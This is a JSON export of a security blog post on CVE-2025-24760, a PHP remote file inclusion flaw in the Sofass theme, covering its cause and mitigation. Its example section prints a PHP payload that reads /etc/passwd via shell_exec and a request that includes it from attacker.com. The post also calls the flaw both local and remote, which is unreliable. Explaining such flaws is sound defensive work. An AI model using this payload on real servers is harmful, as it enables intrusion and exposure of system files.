{"id":57518,"date":"2025-07-05T13:32:42","date_gmt":"2025-07-05T13:32:42","guid":{"rendered":""},"modified":"2025-09-16T05:56:02","modified_gmt":"2025-09-16T11:56:02","slug":"cve-2025-24760-exploiting-php-remote-file-inclusion-vulnerability-in-sofass","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-24760-exploiting-php-remote-file-inclusion-vulnerability-in-sofass\/","title":{"rendered":"<strong>CVE-2025-24760: Exploiting PHP Remote File Inclusion Vulnerability in Sofass<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In this post, we are going to delve into a particularly worrying vulnerability that affects the goalthemes Sofass, specifically versions up to 1.3.4. This vulnerability, identified as CVE-2025-24760, allows an attacker to perform PHP Local File Inclusion which can have grave implications for the security of your system. PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40582-root-level-command-execution-vulnerability-in-scalance-lpe9403\/\"  data-wpil-monitor-id=\"63975\">File<\/a> Inclusion vulnerabilities occur when an application receives a path to a file that should be included and executes it, a dangerous action if the file is malicious. Considering the potential for system compromise or data leakage, understanding this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-41691-sql-injection-vulnerability-in-os4ed-open-source-information-system-community\/\"  data-wpil-monitor-id=\"64168\">vulnerability is crucial for systems<\/a> administrators and security personnel alike.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-24760<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64233\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2390710665\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Sofass | Up to 1.3.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-6174-cloud-init-root-access-vulnerability-on-non-x86-platforms\/\"  data-wpil-monitor-id=\"64850\">root cause of this vulnerability<\/a> is improper control of the filename for the &#8216;include&#8217; or &#8216;require&#8217; statement in the PHP program of Sofass. The software does not properly sanitize user-supplied input and thus, an attacker can manipulate the input to load a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49508-php-remote-file-inclusion-vulnerability-in-cozystay-by-loftocean\/\"  data-wpil-monitor-id=\"64124\">file from a remote server that contains malicious PHP<\/a> code. Once this file is loaded and executed, the attacker gains the capability to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-56731-remote-command-execution-vulnerability-in-gogs\/\"  data-wpil-monitor-id=\"64304\">execute arbitrary commands<\/a> or scripts in the context of the server\u2019s PHP environment.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2999539712\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Let&#8217;s consider a conceptual example to understand how this vulnerability might be exploited. The steps involve crafting a malicious PHP file, hosting it on a remote server, and then manipulating the &#8216;include&#8217; or &#8216;require&#8217; statement in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6426-executable-file-warning-vulnerability-in-firefox-for-macos\/\"  data-wpil-monitor-id=\"64285\">vulnerable application to load and execute this file<\/a>.<br \/>\nThe contents of a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24769-php-remote-file-inclusion-vulnerability-in-bzotheme-zenny\/\"  data-wpil-monitor-id=\"65796\">PHP file<\/a> (malicious_payload.php) might look like this:<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\necho shell_exec(&#039;cat \/etc\/passwd&#039;);\n?&gt;<\/code><\/pre>\n<p>This file, when executed, would display the contents of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36157-unauthorized-remote-server-property-file-modification-in-ibm-jazz-foundation\/\"  data-wpil-monitor-id=\"83037\">server&#8217;s \/etc\/passwd file<\/a>, which contains user account information.<br \/>\nThe attack would then use a HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48921-cross-site-request-forgery-vulnerability-in-drupal-open-social\/\"  data-wpil-monitor-id=\"65013\">request to exploit the vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attacker.com\/malicious_payload.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>The &#8216;page&#8217; parameter is manipulated to load the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28990-critical-php-local-file-inclusion-vulnerability-in-sns-vicky\/\"  data-wpil-monitor-id=\"65810\">PHP file<\/a> from the attacker&#8217;s server. When the server processes this request, it includes the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64482\">file and executes<\/a> the harmful code.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The best way to mitigate this vulnerability is to apply the vendor&#8217;s patch. For temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and block suspicious activities. Also, it is good practice to sanitize all user-supplied input and limit the use of the &#8216;include&#8217; or &#8216;require&#8217; statements to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30992-php-local-file-inclusion-vulnerability-in-thembay-puca\/\"  data-wpil-monitor-id=\"65844\">local files<\/a> only.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In this post, we are going to delve into a particularly worrying vulnerability that affects the goalthemes Sofass, specifically versions up to 1.3.4. This vulnerability, identified as CVE-2025-24760, allows an attacker to perform PHP Local File Inclusion which can have grave implications for the security of your system. PHP Remote File Inclusion vulnerabilities occur [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-57518","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57518","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=57518"}],"version-history":[{"count":13,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57518\/revisions"}],"predecessor-version":[{"id":75576,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57518\/revisions\/75576"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=57518"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=57518"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=57518"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=57518"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=57518"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=57518"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=57518"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=57518"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=57518"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}